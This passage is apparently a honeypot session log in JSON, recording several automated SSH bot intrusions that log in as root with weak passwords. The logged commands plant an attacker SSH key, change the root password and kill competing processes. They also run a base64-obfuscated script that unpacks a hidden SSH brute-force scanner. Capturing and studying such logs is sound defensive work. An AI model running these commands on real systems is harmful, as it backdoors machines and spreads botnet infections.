\"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-23T01:09:05.270367+00:00","kind":"output","latency_ms":502,"data":""},{"seq":48,"at":"2026-08-23T01:09:13.083942+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-23T01:09:13.084701+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"minecraft1","method":"password","accepted":true,"tier":"other"}]} {"id":"bb8255c1-fa10-47fb-bace-d408951594e4","name":"ivory-gloomy-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"68.183.236.1","src_port":37372,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":772,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T21:59:03.408093+00:00","ended_at":"2026-08-22T21:59:11.945062+00:00","ended_reason":"exec complete","commands":26,"transcript_bytes":3638,"events":[{"seq":1,"at":"2026-08-22T21:58:29.605029+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T21:58:30.368268+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T21:58:36.594886+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T21:58:36.595337+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T21:58:37.369053+00:00","kind":"input","latency_ms":null,"data":"echo \"root:pEYx4uCAYcJt\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T21:58:38.000234+00:00","kind":"output","latency_ms":631,"data":""},{"seq":7,"at":"2026-08-22T21:58:38.140258+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T21:58:38.911841+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T21:58:38.912392+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-22T21:58:39.682667+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-22T21:58:40.336672+00:00","kind":"output","latency_ms":652,"data":" 15888 0 0 0 0 0"},{"seq":12,"at":"2026-08-22T21:58:41.108518+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T21:58:41.816382+00:00","kind":"output","latency_ms":706,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T21:58:42.600568+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T21:58:42.601089+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T21:58:43.364158+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T21:58:43.364603+00:00","kind":"output","latency_ms":null,"data":" 21:58:43 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T21:58:44.137010+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T21:58:44.139207+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T21:58:44.913887+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-22T21:58:44.914514+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-22T21:58:45.687970+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-22T21:58:45.688557+00:00","kind":"output","latency_ms":null,"data":"top - 21:58:45 up 2 days, 18:48, 0 user, load average: 0.13, 0.14, 0.15\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-22T21:58:46.461811+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-22T21:58:46.462950+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-22T21:58:47.236646+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-22T21:58:47.237192+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-22T21:58:48.023152+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-22T21:58:48.023880+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-22T21:58:48.794032+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-22T21:58:49.689839+00:00","kind":"output","latency_ms":896,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-22T21:58:50.466499+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-22T21:58:51.339230+00:00","kind":"output","latency_ms":875,"data":"24G"},{"seq":34,"at":"2026-08-22T21:58:53.779468+00:00","kind":"input","latency_ms":null,"data":"echo \"root eric123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-22T21:58:54.549510+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-22T21:58:55.148927+00:00","kind":"output","latency_ms":596,"data":""},{"seq":37,"at":"2026-08-22T21:58:57.319606+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-22T21:58:57.937693+00:00","kind":"output","latency_ms":617,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-22T21:58:58.708770+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-22T21:58:59.225607+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-22T21:58:59.999522+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-22T21:59:00.769001+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T21:59:01.439664+00:00","kind":"output","latency_ms":669,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-22T21:59:02.212178+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-22T21:59:02.635849+00:00","kind":"output","latency_ms":422,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-22T21:59:03.408905+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-22T21:59:03.906762+00:00","kind":"output","latency_ms":496,"data":"bash: line 1: /var/tmp/.systemcache436621: No such file or directory"}],"credentials":[{"username":"root","password":"eric123","method":"password","accepted":true,"tier":"other"}]} {"id":"8c537dfe-5b09-474d-a777-1a1e544b6db1","name":"emerald-primal-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"43.166.242.149","src_port":41452,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":472,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T18:05:02.768278+00:00","ended_at":"2026-08-22T18:07:02.813565+00:00","ended_reason":"exec complete","commands":6,"transcript_bytes":826,"events":[{"seq":1,"at":"2026-08-22T18:04:48.411624+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T18:04:49.366865+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T18:05:01.096771+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T18:05:01.097716+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T18:05:01.569860+00:00","kind":"input","latency_ms":null,"data":"echo \"root:v1FUiwdE7VgS\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T18:05:02.238625+00:00","kind":"output","latency_ms":667,"data":""},{"seq":7,"at":"2026-08-22T18:05:02.480736+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-22T18:05:02.768913+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-22T18:05:02.769780+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"}],"credentials":[{"username":"root","password":"P@ssw0rd@2020","method":"password","accepted":true,"tier":"other"}]} {"id":"f0f09920-b4c1-4d19-92d8-fdac78e39488","name":"solar-cheerful-muntjac","protocol":"ssh","channel_kind":"exec","src_ip":"103.134.154.195","src_port":46574,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":791,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T15:42:34.931139+00:00","ended_at":"2026-08-22T15:42:35.179940+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3563,"events":[{"seq":1,"at":"2026-08-22T15:41:50.179193+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T15:41:50.654306+00:00","kind":"output","latency_ms":475,"data":"-bash: lockr: command not found"},{"seq":3,"at":"2026-08-22T15:41:51.693230+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":4,"at":"2026-08-22T15:41:58.700243+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-22T15:41:58.700729+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-22T15:41:59.491806+00:00","kind":"input","latency_ms":null,"data":"echo \"root:oNGOvpubQjmx\"|chpasswd|bash"},{"seq":7,"at":"2026-08-22T15:42:00.042255+00:00","kind":"output","latency_ms":547,"data":""},{"seq":8,"at":"2026-08-22T15:42:00.285505+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":9,"at":"2026-08-22T15:42:01.074047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-22T15:42:01.074520+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-22T15:42:01.866247+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-22T15:42:02.430923+00:00","kind":"output","latency_ms":564,"data":"15888 8124 5764 1032 968 0"},{"seq":13,"at":"2026-08-22T15:42:03.219908+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-22T15:42:03.747306+00:00","kind":"output","latency_ms":526,"data":"-rwxr-xr-x 1 root root 151K Aug 20 03:09 /usr/bin/ls"},{"seq":15,"at":"2026-08-22T15:42:04.537807+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T15:42:04.538246+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":17,"at":"2026-08-22T15:42:05.331408+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-22T15:42:05.331820+00:00","kind":"output","latency_ms":null,"data":" 15:42:05 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-22T15:42:06.127031+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-22T15:42:06.127479+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-22T15:42:06.916966+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-22T15:42:06.917850+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-22T15:42:07.867238+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-22T15:42:07.867942+00:00","kind":"output","latency_ms":null,"data":"top - 15:42:07 up 2 days, 12:32, 0 user, load average: 0.26, 0.26, 0.23\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-22T15:42:08.659130+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-22T15:42:08.659840+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-22T15:42:09.450179+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-22T15:42:09.450660+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-22T15:42:10.243435+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-22T15:42:10.252047+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":31,"at":"2026-08-22T15:42:11.043041+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-22T15:42:11.622912+00:00","kind":"output","latency_ms":580,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":33,"at":"2026-08-22T15:42:12.412797+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-22T15:42:12.927883+00:00","kind":"output","latency_ms":513,"data":"24G"},{"seq":35,"at":"2026-08-22T15:42:15.414168+00:00","kind":"input","latency_ms":null,"data":"echo \"root Abc123!!!\" > /tmp/up.txt"},{"seq":36,"at":"2026-08-22T15:42:16.202942+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":37,"at":"2026-08-22T15:42:16.677257+00:00","kind":"output","latency_ms":473,"data":""},{"seq":38,"at":"2026-08-22T15:42:19.030842+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-22T15:42:19.529505+00:00","kind":"output","latency_ms":498,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-22T15:42:20.329572+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-22T15:42:20.837580+00:00","kind":"output","latency_ms":514,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":42,"at":"2026-08-22T15:42:21.631344+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-22T15:42:22.421023+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-22T15:42:23.112749+00:00","kind":"output","latency_ms":691,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-22T15:42:23.902551+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":46,"at":"2026-08-22T15:42:24.338865+00:00","kind":"output","latency_ms":434,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":47,"at":"2026-08-22T15:42:25.131278+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":48,"at":"2026-08-22T15:42:25.560333+00:00","kind":"output","latency_ms":427,"data":""},{"seq":49,"at":"2026-08-22T15:42:34.932498+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":50,"at":"2026-08-22T15:42:34.933138+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"Abc123!!!","method":"password","accepted":true,"tier":"other"}]} {"id":"7207bd6d-f105-44ce-ad44-2ecdc0e17b8e","name":"supple-lunar-porcupine","protocol":"ssh","channel_kind":"exec","src_ip":"81.192.46.36","src_port":58294,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":373,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-22T14:19:36.840359+00:00","ended_at":"2026-08-22T14:19:36.951750+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3814,"events":[{"seq":1,"at":"2026-08-22T14:19:08.742360+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-22T14:19:09.121936+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-22T14:19:12.666968+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-22T14:19:12.667525+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-22T14:19:13.035265+00:00","kind":"input","latency_ms":null,"data":"echo \"root:jP9Gd70SQ2Zh\"|chpasswd|bash"},{"seq":6,"at":"2026-08-22T14:19:13.414057+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-22T14:19:13.783373+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-22T14:19:13.783999+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-22T14:19:14.154802+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-22T14:19:14.227312+00:00","kind":"output","latency_ms":1192,"data":""},{"seq":11,"at":"2026-08-22T14:19:14.872214+00:00","kind":"output","latency_ms":717,"data":"15888 0 15888 0 0 0"},{"seq":12,"at":"2026-08-22T14:19:15.246045+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-22T14:19:15.842237+00:00","kind":"output","latency_ms":595,"data":"-rwxr-xr-x 1 root root 148K Aug 20 03:09 /usr/bin/ls"},{"seq":14,"at":"2026-08-22T14:19:16.209789+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-22T14:19:16.210331+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-22T14:19:16.580288+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-22T14:19:16.580949+00:00","kind":"output","latency_ms":null,"data":" 14:19:16 up 2 days, 11:09, 0 user, load average: 0.03, 0.03, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-22T14:19:16.949860+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-22T14:19:16.950500+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-22T14:19:17.323591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc 